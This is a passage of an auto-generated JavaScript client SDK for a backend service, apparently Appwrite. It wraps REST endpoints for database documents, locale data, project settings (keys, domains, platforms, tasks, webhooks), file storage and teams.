if(filters) { payload['filters'] = filters; } if(offset) { payload['offset'] = offset; } if(limit) { payload['limit'] = limit; } if(orderField) { payload['order-field'] = orderField; } if(orderType) { payload['order-type'] = orderType; } if(orderCast) { payload['order-cast'] = orderCast; } if(search) { payload['search'] = search; } if(first) { payload['first'] = first; } if(last) { payload['last'] = last; } return http .get(path, { 'content-type': 'application/json', }, payload); }, /** * Create Document * * Create a new Document. * * @param {string} collectionId * @param {object} data * @param {array} read * @param {array} write * @param {string} parentDocument * @param {string} parentProperty * @param {string} parentPropertyType * @throws {Error} * @return {Promise} */ createDocument: function(collectionId, data, read, write, parentDocument = '', parentProperty = '', parentPropertyType = 'assign') { if(collectionId === undefined) { throw new Error('Missing required parameter: "collectionId"'); } if(data === undefined) { throw new Error('Missing required parameter: "data"'); } if(read === undefined) { throw new Error('Missing required parameter: "read"'); } if(write === undefined) { throw new Error('Missing required parameter: "write"'); } let path = '/database/collections/{collectionId}/documents'.replace(new RegExp('{collectionId}', 'g'), collectionId); let payload = {}; if(data) { payload['data'] = data; } if(read) { payload['read'] = read; } if(write) { payload['write'] = write; } if(parentDocument) { payload['parentDocument'] = parentDocument; } if(parentProperty) { payload['parentProperty'] = parentProperty; } if(parentPropertyType) { payload['parentPropertyType'] = parentPropertyType; } return http .post(path, { 'content-type': 'application/json', }, payload); }, /** * Get Document * * Get document by its unique ID. This endpoint response returns a JSON object * with the document data. * * @param {string} collectionId * @param {string} documentId * @throws {Error} * @return {Promise} */ getDocument: function(collectionId, documentId) { if(collectionId === undefined) { throw new Error('Missing required parameter: "collectionId"'); } if(documentId === undefined) { throw new Error('Missing required parameter: "documentId"'); } let path = '/database/collections/{collectionId}/documents/{documentId}'.replace(new RegExp('{collectionId}', 'g'), collectionId).replace(new RegExp('{documentId}', 'g'), documentId); let payload = {}; return http .get(path, { 'content-type': 'application/json', }, payload); }, /** * Update Document * * * @param {string} collectionId * @param {string} documentId * @param {object} data * @param {array} read * @param {array} write * @throws {Error} * @return {Promise} */ updateDocument: function(collectionId, documentId, data, read, write) { if(collectionId === undefined) { throw new Error('Missing required parameter: "collectionId"'); } if(documentId === undefined) { throw new Error('Missing required parameter: "documentId"'); } if(data === undefined) { throw new Error('Missing required parameter: "data"'); } if(read === undefined) { throw new Error('Missing required parameter: "read"'); } if(write === undefined) { throw new Error('Missing required parameter: "write"'); } let path = '/database/collections/{collectionId}/documents/{documentId}'.replace(new RegExp('{collectionId}', 'g'), collectionId).replace(new RegExp('{documentId}', 'g'), documentId); let payload = {}; if(data) { payload['data'] = data; } if(read) { payload['read'] = read; } if(write) { payload['write'] = write; } return http .patch(path, { 'content-type': 'application/json', }, payload); }, /** * Delete Document * * Delete document by its unique ID. This endpoint deletes only the parent * documents, his attributes and relations to other documents. Child documents * **will not** be deleted. * * @param {string} collectionId * @param {string} documentId * @throws {Error} * @return {Promise} */ deleteDocument: function(collectionId, documentId) { if(collectionId === undefined) { throw new Error('Missing required parameter: "collectionId"'); } if(documentId === undefined) { throw new Error('Missing required parameter: "documentId"'); } let path = '/database/collections/{collectionId}/documents/{documentId}'.replace(new RegExp('{collectionId}', 'g'), collectionId).replace(new RegExp('{documentId}', 'g'), documentId); let payload = {}; return http .delete(path, { 'content-type': 'application/json', }, payload); } }; let locale = { /** * Get User Locale * * Get the current user location based on IP. Returns an object with user * country code, country name, continent name, continent code, ip address and * suggested currency. You can use the locale header to get the data in a * supported language. * * ([IP Geolocation by DB-IP](https://db-ip.com)) * * @throws {Error} * @return {Promise} */ get: function() { let path = '/locale'; let payload = {}; return http .get(path, { 'content-type': 'application/json', }, payload); }, /** * List Countries * * List of all continents. You can use the locale header to get the data in a * supported language. * * @throws {Error} * @return {Promise} */ getContinents: function() { let path = '/locale/continents'; let payload = {}; return http .get(path, { 'content-type': 'application/json', }, payload); }, /** * List Countries * * List of all countries. You can use the locale header to get the data in a * supported language. * * @throws {Error} * @return {Promise} */ getCountries: function() { let path = '/locale/countries'; let payload = {}; return http .get(path, { 'content-type': 'application/json', }, payload); }, /** * List EU Countries * * List of all countries that are currently members of the EU. You can use the * locale header to get the data in a supported language. * * @throws {Error} * @return {Promise} */ getCountriesEU: function() { let path = '/locale/countries/eu'; let payload = {}; return http .get(path, { 'content-type': 'application/json', }, payload); }, /** * List Countries Phone Codes * * List of all countries phone codes. You can use the locale header to get the * data in a supported language. * * @throws {Error} * @return {Promise} */ getCountriesPhones: function() { let path = '/locale/countries/phones'; let payload = {}; return http .get(path, { 'content-type': 'application/json', }, payload); }, /** * List Currencies * * List of all currencies, including currency symol, name, plural, and decimal * digits for all major and minor currencies. You can use the locale header to * get the data in a supported language. * * @throws {Error} * @return {Promise} */ getCurrencies: function() { let path = '/locale/currencies'; let payload = {}; return http .get(path, { 'content-type': 'application/json', }, payload); } }; let projects = { /** * List Projects * * * @throws {Error} * @return {Promise} */ list: function() { let path = '/projects'; let payload = {}; return http .get(path, { 'content-type': 'application/json', }, payload); }, /** * Create Project * * * @param {string} name * @param {string} teamId * @param {string} description * @param {string} logo * @param {string} url * @param {string} legalName * @param {string} legalCountry * @param {string} legalState * @param {string} legalCity * @param {string} legalAddress * @param {string} legalTaxId * @throws {Error} * @return {Promise} */ create: function(name, teamId, description = '', logo = '', url = '', legalName = '', legalCountry = '', legalState = '', legalCity = '', legalAddress = '', legalTaxId = '') { if(name === undefined) { throw new Error('Missing required parameter: "name"'); } if(teamId === undefined) { throw new Error('Missing required parameter: "teamId"'); } let path = '/projects'; let payload = {}; if(name) { payload['name'] = name; } if(teamId) { payload['teamId'] = teamId; } if(description) { payload['description'] = description; } if(logo) { payload['logo'] = logo; } if(url) { payload['url'] = url; } if(legalName) { payload['legalName'] = legalName; } if(legalCountry) { payload['legalCountry'] = legalCountry; } if(legalState) { payload['legalState'] = legalState; } if(legalCity) { payload['legalCity'] = legalCity; } if(legalAddress) { payload['legalAddress'] = legalAddress; } if(legalTaxId) { payload['legalTaxId'] = legalTaxId; } return http .post(path, { 'content-type': 'application/json', }, payload); }, /** * Get Project * * * @param {string} projectId * @throws {Error} * @return {Promise} */ get: function(projectId) { if(projectId === undefined) { throw new Error('Missing required parameter: "projectId"'); } let path = '/projects/{projectId}'.replace(new RegExp('{projectId}', 'g'), projectId); let payload = {}; return http .get(path, { 'content-type': 'application/json', }, payload); }, /** * Update Project * * * @param {string} projectId * @param {string} name * @param {string} description * @param {string} logo * @param {string} url * @param {string} legalName * @param {string} legalCountry * @param {string} legalState * @param {string} legalCity * @param {string} legalAddress * @param {string} legalTaxId * @throws {Error} * @return {Promise} */ update: function(projectId, name, description = '', logo = '', url = '', legalName = '', legalCountry = '', legalState = '', legalCity = '', legalAddress = '', legalTaxId = '') { if(projectId === undefined) { throw new Error('Missing required parameter: "projectId"'); } if(name === undefined) { throw new Error('Missing required parameter: "name"'); } let path = '/projects/{projectId}'.replace(new RegExp('{projectId}', 'g'), projectId); let payload = {}; if(name) { payload['name'] = name; } if(description) { payload['description'] = description; } if(logo) { payload['logo'] = logo; } if(url) { payload['url'] = url; } if(legalName) { payload['legalName'] = legalName; } if(legalCountry) { payload['legalCountry'] = legalCountry; } if(legalState) { payload['legalState'] = legalState; } if(legalCity) { payload['legalCity'] = legalCity; } if(legalAddress) { payload['legalAddress'] = legalAddress; } if(legalTaxId) { payload['legalTaxId'] = legalTaxId; } return http .patch(path, { 'content-type': 'application/json', }, payload); }, /** * Delete Project * * * @param {string} projectId * @param {string} password * @throws {Error} * @return {Promise} */ delete: function(projectId, password) { if(projectId === undefined) { throw new Error('Missing required parameter: "projectId"'); } if(password === undefined) { throw new Error('Missing required parameter: "password"'); } let path = '/projects/{projectId}'.replace(new RegExp('{projectId}', 'g'), projectId); let payload = {}; if(password) { payload['password'] = password; } return http .delete(path, { 'content-type': 'application/json', }, payload); }, /** * List Domains * * * @param {string} projectId * @throws {Error} * @return {Promise} */ listDomains: function(projectId) { if(projectId === undefined) { throw new Error('Missing required parameter: "projectId"'); } let path = '/projects/{projectId}/domains'.replace(new RegExp('{projectId}', 'g'), projectId); let payload = {}; return http .get(path, { 'content-type': 'application/json', }, payload); }, /** * Create Domain * * * @param {string} projectId * @param {string} domain * @throws {Error} * @return {Promise} */ createDomain: function(projectId, domain) { if(projectId === undefined) { throw new Error('Missing required parameter: "projectId"'); } if(domain === undefined) { throw new Error('Missing required parameter: "domain"'); } let path = '/projects/{projectId}/domains'.replace(new RegExp('{projectId}', 'g'), projectId); let payload = {}; if(domain) { payload['domain'] = domain; } return http .post(path, { 'content-type': 'application/json', }, payload); }, /** * Get Domain * * * @param {string} projectId * @param {string} domainId * @throws {Error} * @return {Promise} */ getDomain: function(projectId, domainId) { if(projectId === undefined) { throw new Error('Missing required parameter: "projectId"'); } if(domainId === undefined) { throw new Error('Missing required parameter: "domainId"'); } let path = '/projects/{projectId}/domains/{domainId}'.replace(new RegExp('{projectId}', 'g'), projectId).replace(new RegExp('{domainId}', 'g'), domainId); let payload = {}; return http .get(path, { 'content-type': 'application/json', }, payload); }, /** * Delete Domain * * * @param {string} projectId * @param {string} domainId * @throws {Error} * @return {Promise} */ deleteDomain: function(projectId, domainId) { if(projectId === undefined) { throw new Error('Missing required parameter: "projectId"'); } if(domainId === undefined) { throw new Error('Missing required parameter: "domainId"'); } let path = '/projects/{projectId}/domains/{domainId}'.replace(new RegExp('{projectId}', 'g'), projectId).replace(new RegExp('{domainId}', 'g'), domainId); let payload = {}; return http .delete(path, { 'content-type': 'application/json', }, payload); }, /** * Update Domain Verification Status * * * @param {string} projectId * @param {string} domainId * @throws {Error} * @return {Promise} */ updateDomainVerification: function(projectId, domainId) { if(projectId === undefined) { throw new Error('Missing required parameter: "projectId"'); } if(domainId === undefined) { throw new Error('Missing required parameter: "domainId"'); } let path = '/projects/{projectId}/domains/{domainId}/verification'.replace(new RegExp('{projectId}', 'g'), projectId).replace(new RegExp('{domainId}', 'g'), domainId); let payload = {}; return http .patch(path, { 'content-type': 'application/json', }, payload); }, /** * List Keys * * * @param {string} projectId * @throws {Error} * @return {Promise} */ listKeys: function(projectId) { if(projectId === undefined) { throw new Error('Missing required parameter: "projectId"'); } let path = '/projects/{projectId}/keys'.replace(new RegExp('{projectId}', 'g'), projectId); let payload = {}; return http .get(path, { 'content-type': 'application/json', }, payload); }, /** * Create Key * * * @param {string} projectId * @param {string} name * @param {array} scopes * @throws {Error} * @return {Promise} */ createKey: function(projectId, name, scopes) { if(projectId === undefined) { throw new Error('Missing required parameter: "projectId"'); } if(name === undefined) { throw new Error('Missing required parameter: "name"'); } if(scopes === undefined) { throw new Error('Missing required parameter: "scopes"'); } let path = '/projects/{projectId}/keys'.replace(new RegExp('{projectId}', 'g'), projectId); let payload = {}; if(name) { payload['name'] = name; } if(scopes) { payload['scopes'] = scopes; } return http .post(path, { 'content-type': 'application/json', }, payload); }, /** * Get Key * * * @param {string} projectId * @param {string} keyId * @throws {Error} * @return {Promise} */ getKey: function(projectId, keyId) { if(projectId === undefined) { throw new Error('Missing required parameter: "projectId"'); } if(keyId === undefined) { throw new Error('Missing required parameter: "keyId"'); } let path = '/projects/{projectId}/keys/{keyId}'.replace(new RegExp('{projectId}', 'g'), projectId).replace(new RegExp('{keyId}', 'g'), keyId); let payload = {}; return http .get(path, { 'content-type': 'application/json', }, payload); }, /** * Update Key * * * @param {string} projectId * @param {string} keyId * @param {string} name * @param {array} scopes * @throws {Error} * @return {Promise} */ updateKey: function(projectId, keyId, name, scopes) { if(projectId === undefined) { throw new Error('Missing required parameter: "projectId"'); } if(keyId === undefined) { throw new Error('Missing required parameter: "keyId"'); } if(name === undefined) { throw new Error('Missing required parameter: "name"'); } if(scopes === undefined) { throw new Error('Missing required parameter: "scopes"'); } let path = '/projects/{projectId}/keys/{keyId}'.replace(new RegExp('{projectId}', 'g'), projectId).replace(new RegExp('{keyId}', 'g'), keyId); let payload = {}; if(name) { payload['name'] = name; } if(scopes) { payload['scopes'] = scopes; } return http .put(path, { 'content-type': 'application/json', }, payload); }, /** * Delete Key * * * @param {string} projectId * @param {string} keyId * @throws {Error} * @return {Promise} */ deleteKey: function(projectId, keyId) { if(projectId === undefined) { throw new Error('Missing required parameter: "projectId"'); } if(keyId === undefined) { throw new Error('Missing required parameter: "keyId"'); } let path = '/projects/{projectId}/keys/{keyId}'.replace(new RegExp('{projectId}', 'g'), projectId).replace(new RegExp('{keyId}', 'g'), keyId); let payload = {}; return http .delete(path, { 'content-type': 'application/json', }, payload); }, /** * Update Project OAuth2 * * * @param {string} projectId * @param {string} provider * @param {string} appId * @param {string} secret * @throws {Error} * @return {Promise} */ updateOAuth2: function(projectId, provider, appId = '', secret = '') { if(projectId === undefined) { throw new Error('Missing required parameter: "projectId"'); } if(provider === undefined) { throw new Error('Missing required parameter: "provider"'); } let path = '/projects/{projectId}/oauth2'.replace(new RegExp('{projectId}', 'g'), projectId); let payload = {}; if(provider) { payload['provider'] = provider; } if(appId) { payload['appId'] = appId; } if(secret) { payload['secret'] = secret; } return http .patch(path, { 'content-type': 'application/json', }, payload); }, /** * List Platforms * * * @param {string} projectId * @throws {Error} * @return {Promise} */ listPlatforms: function(projectId) { if(projectId === undefined) { throw new Error('Missing required parameter: "projectId"'); } let path = '/projects/{projectId}/platforms'.replace(new RegExp('{projectId}', 'g'), projectId); let payload = {}; return http .get(path, { 'content-type': 'application/json', }, payload); }, /** * Create Platform * * * @param {string} projectId * @param {string} type * @param {string} name * @param {string} key * @param {string} store * @param {string} hostname * @throws {Error} * @return {Promise} */ createPlatform: function(projectId, type, name, key = '', store = '', hostname = '') { if(projectId === undefined) { throw new Error('Missing required parameter: "projectId"'); } if(type === undefined) { throw new Error('Missing required parameter: "type"'); } if(name === undefined) { throw new Error('Missing required parameter: "name"'); } let path = '/projects/{projectId}/platforms'.replace(new RegExp('{projectId}', 'g'), projectId); let payload = {}; if(type) { payload['type'] = type; } if(name) { payload['name'] = name; } if(key) { payload['key'] = key; } if(store) { payload['store'] = store; } if(hostname) { payload['hostname'] = hostname; } return http .post(path, { 'content-type': 'application/json', }, payload); }, /** * Get Platform * * * @param {string} projectId * @param {string} platformId * @throws {Error} * @return {Promise} */ getPlatform: function(projectId, platformId) { if(projectId === undefined) { throw new Error('Missing required parameter: "projectId"'); } if(platformId === undefined) { throw new Error('Missing required parameter: "platformId"'); } let path = '/projects/{projectId}/platforms/{platformId}'.replace(new RegExp('{projectId}', 'g'), projectId).replace(new RegExp('{platformId}', 'g'), platformId); let payload = {}; return http .get(path, { 'content-type': 'application/json', }, payload); }, /** * Update Platform * * * @param {string} projectId * @param {string} platformId * @param {string} name * @param {string} key * @param {string} store * @param {string} hostname * @throws {Error} * @return {Promise} */ updatePlatform: function(projectId, platformId, name, key = '', store = '', hostname = '') { if(projectId === undefined) { throw new Error('Missing required parameter: "projectId"'); } if(platformId === undefined) { throw new Error('Missing required parameter: "platformId"'); } if(name === undefined) { throw new Error('Missing required parameter: "name"'); } let path = '/projects/{projectId}/platforms/{platformId}'.replace(new RegExp('{projectId}', 'g'), projectId).replace(new RegExp('{platformId}', 'g'), platformId); let payload = {}; if(name) { payload['name'] = name; } if(key) { payload['key'] = key; } if(store) { payload['store'] = store; } if(hostname) { payload['hostname'] = hostname; } return http .put(path, { 'content-type': 'application/json', }, payload); }, /** * Delete Platform * * * @param {string} projectId * @param {string} platformId * @throws {Error} * @return {Promise} */ deletePlatform: function(projectId, platformId) { if(projectId === undefined) { throw new Error('Missing required parameter: "projectId"'); } if(platformId === undefined) { throw new Error('Missing required parameter: "platformId"'); } let path = '/projects/{projectId}/platforms/{platformId}'.replace(new RegExp('{projectId}', 'g'), projectId).replace(new RegExp('{platformId}', 'g'), platformId); let payload = {}; return http .delete(path, { 'content-type': 'application/json', }, payload); }, /** * List Tasks * * * @param {string} projectId * @throws {Error} * @return {Promise} */ listTasks: function(projectId) { if(projectId === undefined) { throw new Error('Missing required parameter: "projectId"'); } let path = '/projects/{projectId}/tasks'.replace(new RegExp('{projectId}', 'g'), projectId); let payload = {}; return http .get(path, { 'content-type': 'application/json', }, payload); }, /** * Create Task * * * @param {string} projectId * @param {string} name * @param {string} status * @param {string} schedule * @param {number} security * @param {string} httpMethod * @param {string} httpUrl * @param {array} httpHeaders * @param {string} httpUser * @param {string} httpPass * @throws {Error} * @return {Promise} */ createTask: function(projectId, name, status, schedule, security, httpMethod, httpUrl, httpHeaders = [], httpUser = '', httpPass = '') { if(projectId === undefined) { throw new Error('Missing required parameter: "projectId"'); } if(name === undefined) { throw new Error('Missing required parameter: "name"'); } if(status === undefined) { throw new Error('Missing required parameter: "status"'); } if(schedule === undefined) { throw new Error('Missing required parameter: "schedule"'); } if(security === undefined) { throw new Error('Missing required parameter: "security"'); } if(httpMethod === undefined) { throw new Error('Missing required parameter: "httpMethod"'); } if(httpUrl === undefined) { throw new Error('Missing required parameter: "httpUrl"'); } let path = '/projects/{projectId}/tasks'.replace(new RegExp('{projectId}', 'g'), projectId); let payload = {}; if(name) { payload['name'] = name; } if(status) { payload['status'] = status; } if(schedule) { payload['schedule'] = schedule; } if(security) { payload['security'] = security; } if(httpMethod) { payload['httpMethod'] = httpMethod; } if(httpUrl) { payload['httpUrl'] = httpUrl; } if(httpHeaders) { payload['httpHeaders'] = httpHeaders; } if(httpUser) { payload['httpUser'] = httpUser; } if(httpPass) { payload['httpPass'] = httpPass; } return http .post(path, { 'content-type': 'application/json', }, payload); }, /** * Get Task * * * @param {string} projectId * @param {string} taskId * @throws {Error} * @return {Promise} */ getTask: function(projectId, taskId) { if(projectId === undefined) { throw new Error('Missing required parameter: "projectId"'); } if(taskId === undefined) { throw new Error('Missing required parameter: "taskId"'); } let path = '/projects/{projectId}/tasks/{taskId}'.replace(new RegExp('{projectId}', 'g'), projectId).replace(new RegExp('{taskId}', 'g'), taskId); let payload = {}; return http .get(path, { 'content-type': 'application/json', }, payload); }, /** * Update Task * * * @param {string} projectId * @param {string} taskId * @param {string} name * @param {string} status * @param {string} schedule * @param {number} security * @param {string} httpMethod * @param {string} httpUrl * @param {array} httpHeaders * @param {string} httpUser * @param {string} httpPass * @throws {Error} * @return {Promise} */ updateTask: function(projectId, taskId, name, status, schedule, security, httpMethod, httpUrl, httpHeaders = [], httpUser = '', httpPass = '') { if(projectId === undefined) { throw new Error('Missing required parameter: "projectId"'); } if(taskId === undefined) { throw new Error('Missing required parameter: "taskId"'); } if(name === undefined) { throw new Error('Missing required parameter: "name"'); } if(status === undefined) { throw new Error('Missing required parameter: "status"'); } if(schedule === undefined) { throw new Error('Missing required parameter: "schedule"'); } if(security === undefined) { throw new Error('Missing required parameter: "security"'); } if(httpMethod === undefined) { throw new Error('Missing required parameter: "httpMethod"'); } if(httpUrl === undefined) { throw new Error('Missing required parameter: "httpUrl"'); } let path = '/projects/{projectId}/tasks/{taskId}'.replace(new RegExp('{projectId}', 'g'), projectId).replace(new RegExp('{taskId}', 'g'), taskId); let payload = {}; if(name) { payload['name'] = name; } if(status) { payload['status'] = status; } if(schedule) { payload['schedule'] = schedule; } if(security) { payload['security'] = security; } if(httpMethod) { payload['httpMethod'] = httpMethod; } if(httpUrl) { payload['httpUrl'] = httpUrl; } if(httpHeaders) { payload['httpHeaders'] = httpHeaders; } if(httpUser) { payload['httpUser'] = httpUser; } if(httpPass) { payload['httpPass'] = httpPass; } return http .put(path, { 'content-type': 'application/json', }, payload); }, /** * Delete Task * * * @param {string} projectId * @param {string} taskId * @throws {Error} * @return {Promise} */ deleteTask: function(projectId, taskId) { if(projectId === undefined) { throw new Error('Missing required parameter: "projectId"'); } if(taskId === undefined) { throw new Error('Missing required parameter: "taskId"'); } let path = '/projects/{projectId}/tasks/{taskId}'.replace(new RegExp('{projectId}', 'g'), projectId).replace(new RegExp('{taskId}', 'g'), taskId); let payload = {}; return http .delete(path, { 'content-type': 'application/json', }, payload); }, /** * Get Project * * * @param {string} projectId * @throws {Error} * @return {Promise} */ getUsage: function(projectId) { if(projectId === undefined) { throw new Error('Missing required parameter: "projectId"'); } let path = '/projects/{projectId}/usage'.replace(new RegExp('{projectId}', 'g'), projectId); let payload = {}; return http .get(path, { 'content-type': 'application/json', }, payload); }, /** * List Webhooks * * * @param {string} projectId * @throws {Error} * @return {Promise} */ listWebhooks: function(projectId) { if(projectId === undefined) { throw new Error('Missing required parameter: "projectId"'); } let path = '/projects/{projectId}/webhooks'.replace(new RegExp('{projectId}', 'g'), projectId); let payload = {}; return http .get(path, { 'content-type': 'application/json', }, payload); }, /** * Create Webhook * * * @param {string} projectId * @param {string} name * @param {array} events * @param {string} url * @param {number} security * @param {string} httpUser * @param {string} httpPass * @throws {Error} * @return {Promise} */ createWebhook: function(projectId, name, events, url, security, httpUser = '', httpPass = '') { if(projectId === undefined) { throw new Error('Missing required parameter: "projectId"'); } if(name === undefined) { throw new Error('Missing required parameter: "name"'); } if(events === undefined) { throw new Error('Missing required parameter: "events"'); } if(url === undefined) { throw new Error('Missing required parameter: "url"'); } if(security === undefined) { throw new Error('Missing required parameter: "security"'); } let path = '/projects/{projectId}/webhooks'.replace(new RegExp('{projectId}', 'g'), projectId); let payload = {}; if(name) { payload['name'] = name; } if(events) { payload['events'] = events; } if(url) { payload['url'] = url; } if(security) { payload['security'] = security; } if(httpUser) { payload['httpUser'] = httpUser; } if(httpPass) { payload['httpPass'] = httpPass; } return http .post(path, { 'content-type': 'application/json', }, payload); }, /** * Get Webhook * * * @param {string} projectId * @param {string} webhookId * @throws {Error} * @return {Promise} */ getWebhook: function(projectId, webhookId) { if(projectId === undefined) { throw new Error('Missing required parameter: "projectId"'); } if(webhookId === undefined) { throw new Error('Missing required parameter: "webhookId"'); } let path = '/projects/{projectId}/webhooks/{webhookId}'.replace(new RegExp('{projectId}', 'g'), projectId).replace(new RegExp('{webhookId}', 'g'), webhookId); let payload = {}; return http .get(path, { 'content-type': 'application/json', }, payload); }, /** * Update Webhook * * * @param {string} projectId * @param {string} webhookId * @param {string} name * @param {array} events * @param {string} url * @param {number} security * @param {string} httpUser * @param {string} httpPass * @throws {Error} * @return {Promise} */ updateWebhook: function(projectId, webhookId, name, events, url, security, httpUser = '', httpPass = '') { if(projectId === undefined) { throw new Error('Missing required parameter: "projectId"'); } if(webhookId === undefined) { throw new Error('Missing required parameter: "webhookId"'); } if(name === undefined) { throw new Error('Missing required parameter: "name"'); } if(events === undefined) { throw new Error('Missing required parameter: "events"'); } if(url === undefined) { throw new Error('Missing required parameter: "url"'); } if(security === undefined) { throw new Error('Missing required parameter: "security"'); } let path = '/projects/{projectId}/webhooks/{webhookId}'.replace(new RegExp('{projectId}', 'g'), projectId).replace(new RegExp('{webhookId}', 'g'), webhookId); let payload = {}; if(name) { payload['name'] = name; } if(events) { payload['events'] = events; } if(url) { payload['url'] = url; } if(security) { payload['security'] = security; } if(httpUser) { payload['httpUser'] = httpUser; } if(httpPass) { payload['httpPass'] = httpPass; } return http .put(path, { 'content-type': 'application/json', }, payload); }, /** * Delete Webhook * * * @param {string} projectId * @param {string} webhookId * @throws {Error} * @return {Promise} */ deleteWebhook: function(projectId, webhookId) { if(projectId === undefined) { throw new Error('Missing required parameter: "projectId"'); } if(webhookId === undefined) { throw new Error('Missing required parameter: "webhookId"'); } let path = '/projects/{projectId}/webhooks/{webhookId}'.replace(new RegExp('{projectId}', 'g'), projectId).replace(new RegExp('{webhookId}', 'g'), webhookId); let payload = {}; return http .delete(path, { 'content-type': 'application/json', }, payload); } }; let storage = { /** * List Files * * Get a list of all the user files. You can use the query params to filter * your results. On admin mode, this endpoint will return a list of all of the * project files. [Learn more about different API modes](/docs/admin). * * @param {string} search * @param {number} limit * @param {number} offset * @param {string} orderType * @throws {Error} * @return {Promise} */ listFiles: function(search = '', limit = 25, offset = 0, orderType = 'ASC') { let path = '/storage/files'; let payload = {}; if(search) { payload['search'] = search; } if(limit) { payload['limit'] = limit; } if(offset) { payload['offset'] = offset; } if(orderType) { payload['orderType'] = orderType; } return http .get(path, { 'content-type': 'application/json', }, payload); }, /** * Create File * * Create a new file. The user who creates the file will automatically be * assigned to read and write access unless he has passed custom values for * read and write arguments. * * @param {File} file * @param {array} read * @param {array} write * @throws {Error} * @return {Promise} */ createFile: function(file, read, write) { if(file === undefined) { throw new Error('Missing required parameter: "file"'); } if(read === undefined) { throw new Error('Missing required parameter: "read"'); } if(write === undefined) { throw new Error('Missing required parameter: "write"'); } let path = '/storage/files'; let payload = {}; if(file) { payload['file'] = file; } if(read) { payload['read'] = read; } if(write) { payload['write'] = write; } return http .post(path, { 'content-type': 'multipart/form-data', }, payload); }, /** * Get File * * Get file by its unique ID. This endpoint response returns a JSON object * with the file metadata. * * @param {string} fileId * @throws {Error} * @return {Promise} */ getFile: function(fileId) { if(fileId === undefined) { throw new Error('Missing required parameter: "fileId"'); } let path = '/storage/files/{fileId}'.replace(new RegExp('{fileId}', 'g'), fileId); let payload = {}; return http .get(path, { 'content-type': 'application/json', }, payload); }, /** * Update File * * Update file by its unique ID. Only users with write permissions have access * to update this resource. * * @param {string} fileId * @param {array} read * @param {array} write * @throws {Error} * @return {Promise} */ updateFile: function(fileId, read, write) { if(fileId === undefined) { throw new Error('Missing required parameter: "fileId"'); } if(read === undefined) { throw new Error('Missing required parameter: "read"'); } if(write === undefined) { throw new Error('Missing required parameter: "write"'); } let path = '/storage/files/{fileId}'.replace(new RegExp('{fileId}', 'g'), fileId); let payload = {}; if(read) { payload['read'] = read; } if(write) { payload['write'] = write; } return http .put(path, { 'content-type': 'application/json', }, payload); }, /** * Delete File * * Delete a file by its unique ID. Only users with write permissions have * access to delete this resource. * * @param {string} fileId * @throws {Error} * @return {Promise} */ deleteFile: function(fileId) { if(fileId === undefined) { throw new Error('Missing required parameter: "fileId"'); } let path = '/storage/files/{fileId}'.replace(new RegExp('{fileId}', 'g'), fileId); let payload = {}; return http .delete(path, { 'content-type': 'application/json', }, payload); }, /** * Get File for Download * * Get file content by its unique ID. The endpoint response return with a * 'Content-Disposition: attachment' header that tells the browser to start * downloading the file to user downloads directory. * * @param {string} fileId * @throws {Error} * @return {string} */ getFileDownload: function(fileId) { if(fileId === undefined) { throw new Error('Missing required parameter: "fileId"'); } let path = '/storage/files/{fileId}/download'.replace(new RegExp('{fileId}', 'g'), fileId); let payload = {}; payload['project'] = config.project; payload['key'] = config.key; let query = Object.keys(payload).map(key => key + '=' + encodeURIComponent(payload[key])).join('&'); return config.endpoint + path + ((query) ? '?' + query : ''); }, /** * Get File Preview * * Get a file preview image. Currently, this method supports preview for image * files (jpg, png, and gif), other supported formats, like pdf, docs, slides, * and spreadsheets, will return the file icon image. You can also pass query * string arguments for cutting and resizing your preview image. * * @param {string} fileId * @param {number} width * @param {number} height * @param {number} quality * @param {string} background * @param {string} output * @throws {Error} * @return {string} */ getFilePreview: function(fileId, width = 0, height = 0, quality = 100, background = '', output = '') { if(fileId === undefined) { throw new Error('Missing required parameter: "fileId"'); } let path = '/storage/files/{fileId}/preview'.replace(new RegExp('{fileId}', 'g'), fileId); let payload = {}; if(width) { payload['width'] = width; } if(height) { payload['height'] = height; } if(quality) { payload['quality'] = quality; } if(background) { payload['background'] = background; } if(output) { payload['output'] = output; } payload['project'] = config.project; payload['key'] = config.key; let query = Object.keys(payload).map(key => key + '=' + encodeURIComponent(payload[key])).join('&'); return config.endpoint + path + ((query) ? '?' + query : ''); }, /** * Get File for View * * Get file content by its unique ID. This endpoint is similar to the download * method but returns with no 'Content-Disposition: attachment' header. * * @param {string} fileId * @param {string} as * @throws {Error} * @return {string} */ getFileView: function(fileId, as = '') { if(fileId === undefined) { throw new Error('Missing required parameter: "fileId"'); } let path = '/storage/files/{fileId}/view'.replace(new RegExp('{fileId}', 'g'), fileId); let payload = {}; if(as) { payload['as'] = as; } payload['project'] = config.project; payload['key'] = config.key; let query = Object.keys(payload).map(key => key + '=' + encodeURIComponent(payload[key])).join('&'); return config.endpoint + path + ((query) ? '?' + query : ''); } }; let teams = { /** * List Teams * * Get a list of all the current user teams. You can use the query params to * filter your results. On admin mode, this endpoint will return a list of all * of the project teams. [Learn more about different API modes](/docs/admin). * * @param {string} search * @param {number} limit * @param {number} offset * @param {string} orderType * @throws {Error} * @return {Promise} */ list: function(search = '', limit = 25, offset = 0, orderType = 'ASC') { let path = '/teams'; let payload = {}; if(search) { payload['search'] = search; } if(limit) { payload['limit'] = limit; } if(offset) { payload['offset'] = offset; } if(orderType) { payload['orderType'] = orderType; } return http .get(path, { 'content-type': 'application/json', }, payload); }, /** * Create Team * * Create a new team. The user who creates the team will automatically be * assigned as the owner of the team. The team owner can invite new members, * who will be able add new owners and update or delete the team from your * project. * * @param {string} name * @param {array} roles * @throws {Error} * @return {Promise} */ create: function(name, roles = ["owner"]) { if(name === undefined) { throw new Error('Missing required parameter: "name"'); } let path = '/teams'; let payload = {}; if(name) { payload['name'] = name; } if(roles) { payload['roles'] = roles; } return http .post(path, { 'content-type': 'application/json', }, payload); }, /** * Get Team * * Get team by its unique ID. All team members have read access for this * resource. * * @param {string} teamId * @throws {Error} * @return {Promise} */ get: function(teamId) { if(teamId === undefined) { throw new Error('Missing required parameter: "teamId"'); } let path = '/teams/{teamId}'.replace(new RegExp('{teamId}', 'g'), teamId); let payload = {}; return http .get(path, { 'content-type': 'application/json', }, payload); }, /** * Update Team * * Update team by its unique ID. Only team owners have write access for this * resource. * * @param {string} teamId * @param {string} name * @throws {Error} * @return {Promise} */ update: function(teamId, name) { if(teamId === undefined) { throw new Error('Missing required parameter: "teamId"'); } if(name === undefined) { throw new Error('Missing required parameter: "name"'); } let path = '/teams/{teamId}'.replace(new RegExp('{teamId}', 'g'), teamId); let payload = {}; if(name) { payload['name'] = name; } return http .put(path, { 'content-type': 'application/json', }, payload); }, /** * Delete Team * * 